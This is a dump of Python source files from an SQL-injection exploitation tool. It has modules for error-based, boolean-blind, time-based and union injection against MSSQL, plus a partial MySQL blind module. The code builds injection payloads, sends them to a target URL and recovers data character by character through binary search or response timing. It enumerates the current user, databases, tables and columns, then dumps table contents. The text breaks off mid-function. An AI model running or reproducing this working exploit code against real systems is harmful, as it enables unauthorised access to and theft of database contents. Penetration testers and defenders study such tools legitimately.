/lib/core/data.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.log import FLY_LOGGER 8 | from lib.core.datatype import AttribDict 9 | 10 | 11 | logger = FLY_LOGGER 12 | paths = AttribDict() 13 | cmdLineOptions = AttribDict() 14 | conf = AttribDict() 15 | SQL = AttribDict() 16 | BOUNDARY = AttribDict() -------------------------------------------------------------------------------- /lib/core/datatype.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | import copy 8 | import types 9 | 10 | 11 | 12 | class AttribDict(dict): 13 | """ 14 | This class defines the project object, inheriting from Python data 15 | type dictionary. 16 | 17 | >>> foo = AttribDict() 18 | >>> foo.bar = 1 19 | >>> foo.bar 20 | 1 21 | """ 22 | 23 | def __init__(self, indict=None, attribute=None): 24 | if indict is None: 25 | indict = {} 26 | 27 | # Set any attributes here - before initialisation 28 | # these remain as normal attributes 29 | self.attribute = attribute 30 | dict.__init__(self, indict) 31 | self.__initialised = True 32 | 33 | # After initialisation, setting attributes 34 | # is the same as setting an item 35 | 36 | def __getattr__(self, item): 37 | """ 38 | Maps values to attributes 39 | Only called if there *is NOT* an attribute with this name 40 | """ 41 | 42 | try: 43 | return self.__getitem__(item) 44 | except KeyError: 45 | raise Exception("unable to access item '%s'" % item) 46 | 47 | def __setattr__(self, item, value): 48 | """ 49 | Maps attributes to values 50 | Only if we are initialised 51 | """ 52 | 53 | # This test allows attributes to be set in the __init__ method 54 | if "_AttribDict__initialised" not in self.__dict__: 55 | return dict.__setattr__(self, item, value) 56 | 57 | # Any normal attributes are handled normally 58 | elif item in self.__dict__: 59 | dict.__setattr__(self, item, value) 60 | 61 | else: 62 | self.__setitem__(item, value) 63 | 64 | def __getstate__(self): 65 | return self.__dict__ 66 | 67 | def __setstate__(self, dict): 68 | self.__dict__ = dict 69 | 70 | def __deepcopy__(self, memo): 71 | retVal = self.__class__() 72 | memo[id(self)] = retVal 73 | 74 | for attr in dir(self): 75 | if not attr.startswith('_'): 76 | value = getattr(self, attr) 77 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 78 | setattr(retVal, attr, copy.deepcopy(value, memo)) 79 | 80 | for key, value in self.items(): 81 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 82 | 83 | return retVal 84 | -------------------------------------------------------------------------------- /lib/core/dbs/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/core/dbs/databases.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | from lib.parse.payload import SQL,BOUNDARY 7 | 8 | 9 | class Databases: 10 | def __init__(self,tech): 11 | self.query = SQL.base_query 12 | if tech == "E": 13 | self.boundary = BOUNDARY.error 14 | self.ini_boundary = BOUNDARY.error 15 | if tech == "B": 16 | self.boundary = BOUNDARY.blind 17 | self.ini_boundary = BOUNDARY.blind 18 | if tech == "T": 19 | self.boundary = BOUNDARY.time 20 | self.ini_boundary = BOUNDARY.time 21 | if tech == "U": 22 | self.boundary = BOUNDARY.union 23 | self.ini_boundary = BOUNDARY.union 24 | def reset_query(self): 25 | self.query = SQL.base_query 26 | 27 | def reset_boundary(self): 28 | self.boundary = self.ini_boundary 29 | 30 | def get_dbs(self): 31 | return 32 | 33 | def set_tables(self): 34 | return 35 | 36 | def get_tables(self): 37 | return 38 | 39 | def set_columns(self): 40 | return 41 | 42 | def get_columns(self): 43 | return 44 | 45 | def get_current_user(self): 46 | return 47 | 48 | def set_current_db(self): 49 | return 50 | 51 | def get_current_db(self): 52 | return 53 | 54 | def set_query(self,query): 55 | self.query = query 56 | 57 | def get_query(self): 58 | return self.query 59 | 60 | def get_boundary(self): 61 | return self.boundary 62 | 63 | def set_boundary(self,boundary): 64 | self.boundary = boundary 65 | 66 | -------------------------------------------------------------------------------- /lib/core/dbs/mssql/mssql_B.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # time:2019/8/1 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | if conf.flag: 15 | success_flag = conf.flag 16 | keys=list 17 | 18 | 19 | class Mssql(Databases): 20 | def __init__(self,tech): 21 | Databases.__init__(self,tech) 22 | 23 | def get_value_from_response(self,text,token): 24 | res = "" 25 | res = match_data(text,token) 26 | return res 27 | 28 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 29 | len = self.get_length(table_name, col_name, in_limit) 30 | text = "" 31 | for i in range(1, len + 1): 32 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 33 | right_number=136) 34 | text = text + chr(value) 35 | logger.success(text) 36 | return text 37 | 38 | def double_search(self, table_name, col_name, in_limit='1', index="", left_number=0, right_number=136): 39 | while True: 40 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 41 | url = conf.url 42 | res = req.connection(url, payload=payload) 43 | if find_success(success_flag, res.text): 44 | left_number = right_number 45 | right_number = 2 * right_number 46 | else: 47 | break 48 | 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 52 | url = conf.url 53 | res = req.connection(url, payload=payload) 54 | if find_success(success_flag, res.text): 55 | left_number = mid 56 | else: 57 | right_number = mid 58 | if left_number == right_number - 1: 59 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 60 | url = conf.url 61 | res = req.connection(url, payload=payload) 62 | if find_success(success_flag, res.text): 63 | mid += 1 64 | break 65 | else: 66 | break 67 | return mid 68 | 69 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 70 | cols = [] 71 | token = ":--:" 72 | for col in col_name: 73 | cols.append(col) 74 | cat_str = cols[0] 75 | boundary =SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 76 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 77 | boundary,query = tamper(boundary,query) 78 | payload = boundary 79 | payload = payload.replace('%query',query) 80 | payload = format_data(payload) 81 | if conf.debug: 82 | logger.success(payload) 83 | return payload,token 84 | 85 | def get_length(self, table_name, col_name, i="1"): # limit i 86 | self.set_boundary(BOUNDARY.double_length) 87 | len_index = self.double_search(table_name, col_name, i, "1", left_number=0, right_number=96) 88 | self.reset_boundary() 89 | logger.info("value len is:" + str(len_index)) 90 | return len_index 91 | 92 | def get_counts(self,table_name,col_name,i="0"): 93 | col_name = ["count(*)"] 94 | counts = '' 95 | self.set_boundary(BOUNDARY.blind_count) 96 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 97 | self.reset_boundary() 98 | logger.info("CountsEnties:" + str(counts)) 99 | return counts 100 | 101 | def get_current_user(self): 102 | table_name = 'master..sysobjects' 103 | col_name = ["SYSTEM_USER"] 104 | user = self.get_value_by_blind(table_name, col_name, '1') 105 | logger.info("CurrentUser:" + user) 106 | return user 107 | 108 | def get_current_db(self): 109 | table_name = 'master..sysobjects' 110 | col_name = ["db_name()"] 111 | database = self.get_value_by_blind(table_name, col_name, '1') 112 | logger.info("CurrentBase:" + database) 113 | return database 114 | 115 | def get_dbs(self): 116 | table_name = 'master..sysdatabases' 117 | col_name = ["name"] 118 | self.set_query(SQL.query) 119 | counts = self.get_counts(table_name,col_name) 120 | logger.info("all dbs counts is :%s" % counts) 121 | self.reset_query() 122 | dbs = [] 123 | for i in range(1,int(counts)+1): 124 | db = self.get_value_by_blind(table_name, col_name, str(i)) 125 | dbs.append(db) 126 | logger.info("Ent:" + db) 127 | return dbs 128 | 129 | def get_tables(self,db): 130 | table_name = 'information_schema.tables' 131 | col_name = ["table_name"] 132 | query = SQL.query_all_tab.replace("{db}", "{0}").format(db) 133 | self.set_query(query) 134 | counts = self.get_counts(table_name, col_name) 135 | logger.info("all tables counts is :%s" % counts) 136 | query = SQL.query_tab.replace("{db}", "{0}").format(db) 137 | self.set_query(query) 138 | tables = [] 139 | for i in range(1,int(counts)+1): 140 | table = self.get_value_by_blind(table_name, col_name, str(i)) 141 | tables.append(table) 142 | logger.info("Ent:" + table) 143 | return tables 144 | 145 | def get_columns(self,db,table): 146 | table_name = '{db}.information_schema.columns' 147 | col_name = ["column_name"] 148 | query = SQL.query_all_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 149 | self.set_query(query) 150 | counts = self.get_counts(table_name, col_name) 151 | query = SQL.query_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 152 | self.set_query(query) 153 | columns = [] 154 | for i in range(1,int(counts)+1): 155 | col = self.get_value_by_blind(table_name, col_name, str(i)) 156 | columns.append(col) 157 | logger.info("Ent:" + col) 158 | return columns 159 | 160 | def dump(self,db,table,col): 161 | table_name = '{0}..{1}'.format(db,table) 162 | col_name = ["{0}".format(col)] 163 | self.set_query(SQL.query) 164 | counts = self.get_counts(table_name, col_name) 165 | self.reset_query() 166 | data = [] 167 | for i in range(1,int(counts)+1): 168 | value = self.get_value_by_blind(table_name, col_name, str(i)) 169 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 170 | data.append(value) 171 | return data -------------------------------------------------------------------------------- /lib/core/dbs/mssql/mssql_E.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # time:2019/7/30 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | if conf.flag: 15 | success_flag = conf.flag 16 | keys=list 17 | 18 | 19 | class Mssql(Databases): 20 | def __init__(self,tech): 21 | Databases.__init__(self,tech) 22 | 23 | def get_value_from_response(self,text,token): 24 | res = "" 25 | res = match_data(text,token) 26 | return res 27 | 28 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 29 | cols = [] 30 | token = ":--:" 31 | for col in col_name: 32 | cols.append(col) 33 | cat_str = cols[0] 34 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 35 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 36 | boundary,query = tamper(boundary,query) 37 | payload = boundary 38 | payload = payload.replace('%query',query) 39 | payload = format_data(payload) 40 | if conf.debug: 41 | logger.success(payload) 42 | return payload,token 43 | 44 | def get_counts(self,table_name,col_name): 45 | col_name = ["count(*)"] 46 | counts = '' 47 | payload, token = self.get_payload(table_name, col_name, '1') 48 | url = conf.url 49 | res = req.connection(url, payload=payload) 50 | counts = self.get_value_from_response(res.text,token) 51 | logger.info("CountsEnties:" + counts) 52 | return counts 53 | 54 | def get_current_user(self): 55 | table_name = 'master..sysobjects' 56 | col_name = ["SYSTEM_USER"] 57 | user = "" 58 | payload,token = self.get_payload(table_name,col_name) 59 | url = conf.url 60 | res = req.connection(url,payload=payload) 61 | user= self.get_value_from_response(res.text,token) 62 | logger.info("CurrentUser:" + user) 63 | return user 64 | 65 | 66 | def get_current_db(self): 67 | table_name = 'master..sysobjects' 68 | col_name = ["db_name()"] 69 | database = "" 70 | payload,token = self.get_payload(table_name,col_name) 71 | url = conf.url 72 | res = req.connection(url,payload=payload) 73 | database = self.get_value_from_response(res.text,token) 74 | logger.info("CurrentBase:" + database) 75 | return database 76 | 77 | 78 | def get_dbs(self): 79 | table_name = 'master..sysdatabases' 80 | col_name = ["name"] 81 | self.set_query(SQL.query) 82 | counts = self.get_counts(table_name,col_name) 83 | logger.info("all dbs counts is :%s" % counts) 84 | self.reset_query() 85 | dbs = [] 86 | for i in range(1,int(counts)+1): 87 | payload, token = self.get_payload(table_name, col_name, str(i)) 88 | url = conf.url 89 | res = req.connection(url, payload=payload) 90 | db = self.get_value_from_response(res.text, token) 91 | dbs.append(db) 92 | logger.info("Ent:" + db) 93 | return dbs 94 | 95 | def get_tables(self,db): 96 | table_name = 'information_schema.tables' 97 | col_name = ["table_name"] 98 | query = SQL.query_all_tab.replace("{db}", "{0}").format(db) 99 | self.set_query(query) 100 | counts = self.get_counts(table_name, col_name) 101 | logger.info("all tables counts is :%s" % counts) 102 | query = SQL.query_tab.replace("{db}", "{0}").format(db) 103 | self.set_query(query) 104 | tables = [] 105 | for i in range(1,int(counts)+1): 106 | payload, token = self.get_payload(table_name, col_name, str(i)) 107 | url = conf.url 108 | res = req.connection(url, payload=payload) 109 | table = self.get_value_from_response(res.text, token) 110 | tables.append(table) 111 | logger.info("Ent:" + table) 112 | return tables 113 | 114 | def get_columns(self,db,table): 115 | table_name = '{db}.information_schema.columns' 116 | col_name = ["column_name"] 117 | query = SQL.query_all_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 118 | self.set_query(query) 119 | counts = self.get_counts(table_name, col_name) 120 | query = SQL.query_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 121 | self.set_query(query) 122 | columns = [] 123 | for i in range(1,int(counts)+1): 124 | payload, token = self.get_payload(table_name, col_name, str(i)) 125 | url = conf.url 126 | res = req.connection(url, payload=payload) 127 | col = self.get_value_from_response(res.text, token) 128 | columns.append(col) 129 | logger.info("Ent:" + col) 130 | print columns 131 | return columns 132 | 133 | def dump(self,db,table,col): 134 | table_name = '{0}..{1}'.format(db,table) 135 | col_name = ["{0}".format(col)] 136 | self.set_query(SQL.query) 137 | counts = self.get_counts(table_name, col_name) 138 | self.reset_query() 139 | data = [] 140 | for i in range(1,int(counts)+1): 141 | payload, token = self.get_payload(table_name, col_name, str(i)) 142 | url = conf.url 143 | res = req.connection(url, payload=payload) 144 | value = self.get_value_from_response(res.text, token) 145 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 146 | data.append(value) 147 | return data 148 | -------------------------------------------------------------------------------- /lib/core/dbs/mssql/mssql_T.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.dbs.databases import Databases 8 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper,stdev,average 9 | from lib.core.request.connection import req 10 | from lib.core.data import conf,logger 11 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 12 | import requests 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | 15 | 16 | class Mssql(Databases): 17 | def __init__(self,tech): 18 | Databases.__init__(self,tech) 19 | 20 | def get_value_from_response(self,text,token): 21 | res = "" 22 | res = match_data(text,token) 23 | return res 24 | 25 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 26 | len = self.get_length(table_name, col_name, in_limit) 27 | text = "" 28 | for i in range(1, len + 1): 29 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 30 | right_number=136) 31 | text = text + chr(value) 32 | logger.success(text) 33 | return text 34 | 35 | def is_delay(self,url,payload): 36 | is_delay = False 37 | req.connection(url,"") 38 | t1 = req.get_elapsed_time() 39 | req.connection(url, "") 40 | t2 = req.get_elapsed_time() 41 | req.connection(url, "") 42 | t3 = req.get_elapsed_time() 43 | t = [t1,t2,t3] 44 | deviation = stdev(t) 45 | lower_std_limit = average(t) + 7* deviation 46 | req.connection(url,payload) 47 | t4 = req.get_elapsed_time() 48 | value = (t4 >= max(0.5,lower_std_limit)) 49 | is_delay = value 50 | return is_delay 51 | 52 | 53 | def double_search(self, table_name, col_name, in_limit='0', index="", left_number=0, right_number=96): 54 | is_ture = False 55 | while True: 56 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 57 | url = conf.url 58 | try: 59 | is_ture = self.is_delay(url,payload) 60 | except requests.exceptions.Timeout,e: 61 | break 62 | if is_ture: 63 | left_number = right_number 64 | right_number = 2 * right_number 65 | is_ture = False 66 | else: 67 | break 68 | is_ture = False 69 | while left_number < right_number: 70 | mid = int((left_number + right_number) / 2) 71 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 72 | try: 73 | url = conf.url 74 | is_ture = self.is_delay(url, payload) 75 | except Exception,e: 76 | break 77 | if is_ture: 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | is_ture = False 82 | if left_number == right_number - 1: 83 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 84 | url = conf.url 85 | try: 86 | is_ture = self.is_delay(url, payload) 87 | except Exception, e: 88 | break 89 | if is_ture: 90 | mid += 1 91 | break 92 | else: 93 | break 94 | return mid 95 | 96 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 97 | cols = [] 98 | token = ":--:" 99 | for col in col_name: 100 | cols.append(col) 101 | cat_str = cols[0] 102 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index).replace('%T',"{0}".format(5)) 103 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 104 | boundary,query = tamper(boundary,query) 105 | payload = boundary 106 | payload = payload.replace('%query',query) 107 | payload = format_data(payload) 108 | if conf.debug: 109 | logger.success(payload) 110 | return payload,token 111 | 112 | def get_length(self,table_name,col_name,i="1"): # limit i 113 | self.set_boundary(BOUNDARY.time_length) 114 | len_index = self.double_search(table_name, col_name,i, "1", left_number=0, right_number=96) 115 | self.reset_boundary() 116 | logger.info("value len is:" + str(len_index)) 117 | return len_index 118 | 119 | 120 | def get_counts(self,table_name,col_name,i="0"): 121 | col_name = ["count(*)"] 122 | counts = '' 123 | self.set_boundary(BOUNDARY.blind_count) 124 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 125 | self.reset_boundary() 126 | logger.info("CountsEnties:" + str(counts)) 127 | return counts 128 | 129 | 130 | def get_current_user(self): 131 | table_name = 'master..sysobjects' 132 | col_name = ["SYSTEM_USER"] 133 | user = self.get_value_by_blind(table_name, col_name, '1') 134 | logger.info("CurrentUser:" + user) 135 | return user 136 | 137 | def get_current_db(self): 138 | table_name = 'master..sysobjects' 139 | col_name = ["db_name()"] 140 | database = self.get_value_by_blind(table_name, col_name, '1') 141 | logger.info("CurrentBase:" + database) 142 | return database 143 | 144 | def get_dbs(self): 145 | table_name = 'master..sysdatabases' 146 | col_name = ["name"] 147 | self.set_query(SQL.query) 148 | counts = self.get_counts(table_name,col_name) 149 | logger.info("all dbs counts is :%s" % counts) 150 | self.reset_query() 151 | dbs = [] 152 | for i in range(1,int(counts)+1): 153 | db = self.get_value_by_blind(table_name, col_name, str(i)) 154 | dbs.append(db) 155 | logger.info("Ent:" + db) 156 | return dbs 157 | 158 | def get_tables(self,db): 159 | table_name = 'information_schema.tables' 160 | col_name = ["table_name"] 161 | query = SQL.query_all_tab.replace("{db}", "{0}").format(db) 162 | self.set_query(query) 163 | counts = self.get_counts(table_name, col_name) 164 | logger.info("all tables counts is :%s" % counts) 165 | query = SQL.query_tab.replace("{db}", "{0}").format(db) 166 | self.set_query(query) 167 | tables = [] 168 | for i in range(1,int(counts)+1): 169 | table = self.get_value_by_blind(table_name, col_name, str(i)) 170 | tables.append(table) 171 | logger.info("Ent:" + table) 172 | return tables 173 | 174 | def get_columns(self,db,table): 175 | table_name = '{db}.information_schema.columns' 176 | col_name = ["column_name"] 177 | query = SQL.query_all_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 178 | self.set_query(query) 179 | counts = self.get_counts(table_name, col_name) 180 | query = SQL.query_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 181 | self.set_query(query) 182 | columns = [] 183 | for i in range(1,int(counts)+1): 184 | col = self.get_value_by_blind(table_name, col_name, str(i)) 185 | columns.append(col) 186 | logger.info("Ent:" + col) 187 | return columns 188 | 189 | def dump(self,db,table,col): 190 | table_name = '{0}..{1}'.format(db,table) 191 | col_name = ["{0}".format(col)] 192 | self.set_query(SQL.query) 193 | counts = self.get_counts(table_name, col_name) 194 | self.reset_query() 195 | data = [] 196 | for i in range(1,int(counts)+1): 197 | value = self.get_value_by_blind(table_name, col_name, str(i)) 198 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 199 | data.append(value) 200 | return data -------------------------------------------------------------------------------- /lib/core/dbs/mssql/mssql_U.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # time:2019/7/30 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,un_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | import copy 14 | import sys 15 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 16 | if conf.flag: 17 | success_flag = conf.flag 18 | keys=list 19 | 20 | 21 | class Mssql(Databases): 22 | def __init__(self,tech): 23 | Databases.__init__(self,tech) 24 | self.set_actual_boundary() 25 | self.set_query(SQL.base_query) 26 | 27 | def set_actual_boundary(self): 28 | is_set = False 29 | token = '10000' 30 | table_name = "information_schema.columns" 31 | self.set_query(SQL.query) 32 | l = ["NULL"]*25 33 | counts = 0 34 | for i in range(25): 35 | temp= copy.deepcopy(l) 36 | temp[i] = token 37 | col_name = [','.join(temp[:i+1])] 38 | payload,_ = self.get_payload(table_name,col_name) 39 | url = conf.url 40 | res = req.connection(url,payload) 41 | text = res.text 42 | if token in text: 43 | counts = i + 1 44 | break 45 | l = ["NULL"] * counts 46 | token = format_hex(random_str()) 47 | for i in range(len(l)): 48 | pack = copy.deepcopy(l) 49 | pack[i] = token 50 | col_name = [','.join(pack)] 51 | payload, _ = self.get_payload(table_name, col_name) 52 | url = conf.url 53 | res = req.connection(url, payload) 54 | text = res.text 55 | if un_hex(token) in text: 56 | boudary = payload.replace(token, "char(58)+char(45)+char(45)+char(58)+cast((%query) as varchar(2000))+char(58)+char(45)+char(45)+char(58)") 57 | self.ini_boundary = boudary 58 | self.set_boundary(boudary) 59 | is_set = True 60 | break 61 | if not is_set: 62 | logger.error("Set Boundary Error!!!") 63 | logger(sys.exc_traceback) 64 | sys.exit(0) 65 | 66 | def get_value_from_response(self,text,token): 67 | res = "" 68 | res = match_data(text,token) 69 | return res 70 | 71 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 72 | cols = [] 73 | token = ":--:" 74 | for col in col_name: 75 | cols.append(col) 76 | cat_str = cols[0] 77 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 78 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 79 | boundary,query = tamper(boundary,query) 80 | payload = boundary 81 | payload = payload.replace('%query',query) 82 | payload = format_data(payload) 83 | if conf.debug: 84 | logger.success(payload) 85 | return payload,token 86 | 87 | def get_counts(self,table_name,col_name): 88 | col_name = ["count(*)"] 89 | counts = '' 90 | payload, token = self.get_payload(table_name, col_name, '1') 91 | url = conf.url 92 | res = req.connection(url, payload=payload) 93 | counts = self.get_value_from_response(res.text,token) 94 | logger.info("CountsEnties:" + counts) 95 | return counts 96 | 97 | def get_current_user(self): 98 | table_name = 'master..sysobjects' 99 | col_name = ["SYSTEM_USER"] 100 | user = "" 101 | payload,token = self.get_payload(table_name,col_name) 102 | url = conf.url 103 | res = req.connection(url,payload=payload) 104 | user= self.get_value_from_response(res.text,token) 105 | logger.info("CurrentUser:" + user) 106 | return user 107 | 108 | 109 | def get_current_db(self): 110 | table_name = 'master..sysobjects' 111 | col_name = ["db_name()"] 112 | database = "" 113 | payload,token = self.get_payload(table_name,col_name) 114 | url = conf.url 115 | res = req.connection(url,payload=payload) 116 | database = self.get_value_from_response(res.text,token) 117 | logger.info("CurrentBase:" + database) 118 | return database 119 | 120 | 121 | def get_dbs(self): 122 | table_name = 'master..sysdatabases' 123 | col_name = ["name"] 124 | self.set_query(SQL.query) 125 | counts = self.get_counts(table_name,col_name) 126 | logger.info("all dbs counts is :%s" % counts) 127 | self.reset_query() 128 | dbs = [] 129 | for i in range(1,int(counts)+1): 130 | payload, token = self.get_payload(table_name, col_name, str(i)) 131 | url = conf.url 132 | res = req.connection(url, payload=payload) 133 | db = self.get_value_from_response(res.text, token) 134 | dbs.append(db) 135 | logger.info("Ent:" + db) 136 | return dbs 137 | 138 | def get_tables(self,db): 139 | table_name = 'information_schema.tables' 140 | col_name = ["table_name"] 141 | query = SQL.query_all_tab.replace("{db}", "{0}").format(db) 142 | self.set_query(query) 143 | counts = self.get_counts(table_name, col_name) 144 | logger.info("all tables counts is :%s" % counts) 145 | query = SQL.query_tab.replace("{db}", "{0}").format(db) 146 | self.set_query(query) 147 | tables = [] 148 | for i in range(1,int(counts)+1): 149 | payload, token = self.get_payload(table_name, col_name, str(i)) 150 | url = conf.url 151 | res = req.connection(url, payload=payload) 152 | table = self.get_value_from_response(res.text, token) 153 | tables.append(table) 154 | logger.info("Ent:" + table) 155 | return tables 156 | 157 | def get_columns(self,db,table): 158 | table_name = '{db}.information_schema.columns' 159 | col_name = ["column_name"] 160 | query = SQL.query_all_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 161 | self.set_query(query) 162 | counts = self.get_counts(table_name, col_name) 163 | query = SQL.query_col.replace("{db}","{0}").replace("{table}","'{1}'").format(db,table) 164 | self.set_query(query) 165 | columns = [] 166 | for i in range(1,int(counts)+1): 167 | payload, token = self.get_payload(table_name, col_name, str(i)) 168 | url = conf.url 169 | res = req.connection(url, payload=payload) 170 | col = self.get_value_from_response(res.text, token) 171 | columns.append(col) 172 | logger.info("Ent:" + col) 173 | return columns 174 | 175 | def dump(self,db,table,col): 176 | table_name = '{0}..{1}'.format(db,table) 177 | col_name = ["{0}".format(col)] 178 | self.set_query(SQL.query) 179 | counts = self.get_counts(table_name, col_name) 180 | self.reset_query() 181 | data = [] 182 | for i in range(1,int(counts)+1): 183 | payload, token = self.get_payload(table_name, col_name, str(i)) 184 | url = conf.url 185 | res = req.connection(url, payload=payload) 186 | value = self.get_value_from_response(res.text, token) 187 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 188 | data.append(value) 189 | return data 190 | -------------------------------------------------------------------------------- /lib/core/dbs/mysql/mysql_B.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.dbs.databases import Databases 8 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 9 | from lib.core.request.connection import req 10 | from lib.core.data import conf,logger 11 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 12 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 13 | if conf.flag: 14 | success_flag = conf.flag 15 | keys=list 16 | 17 | 18 | class Mysql(Databases): 19 | def __init__(self,tech): 20 | Databases.__init__(self,tech) 21 | 22 | def get_value_from_response(self,text,token): 23 | res = "" 24 | res = match_data(text,token) 25 | return res 26 | 27 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 28 | len = self.get_length(table_name, col_name, in_limit) 29 | text = "" 30 | for i in range(1, len + 1): 31 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 32 | right_number=256) 33 | text = text + chr(value) 34 | logger.success(text) 35 | return text 36 | 37 | def double_search(self, table_name, col_name, in_limit='0', index="", left_number=0, right_number=96): 38 | while True: 39 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 40 | url = conf.url 41 | res = req.connection(url, payload=payload) 42 | if find_success(success_flag, res.text): 43 | left_number = right_number 44 | right_number = 2 * right_number 45 | else: 46 | break 47 | 48 | while left_number < right_number: 49 | mid = int((left_number + right_number) / 2) 50 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 51 | url = conf.url 52 | res = req.connection(url, payload=payload) 53 | if find_success(success_flag, res.text): 54 | left_number = mid 55 | else: 56 | right_number = mid 57 | if left_number == right_number - 1: 58 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 59 | url = conf.url 60 | res = req.connection(url, payload=payload) 61 | if find_success(success_flag, res.text): 62 | mid += 1 63 | break 64 | else: 65 | break 66 | return mid 67 | 68 | def get_payload(self,table_name,col_name,i="0",index="1",value=""): # (index,vaule) is used blind 69 | cols = [] 70 | token = "" 71 | for col in col_name: 72 | cols.append(col) 73 | cat_str = cols[0] 74 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 75 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 76 | boundary,query = tamper(boundary,query) 77 | payload = boundary 78 | payload = payload.replace('%query',query) 79 | payload = format_data(payload) 80 | if conf.debug: 81 | logger.success(payload) 82 | return payload,token 83 | 84 | 85 | def get_length(self,table_name,col_name,i="0"): # limit i 86 | self.set_boundary(BOUNDARY.double_length) 87 | len_index = self.double_search(table_name, col_name,i, "", left_number=0, 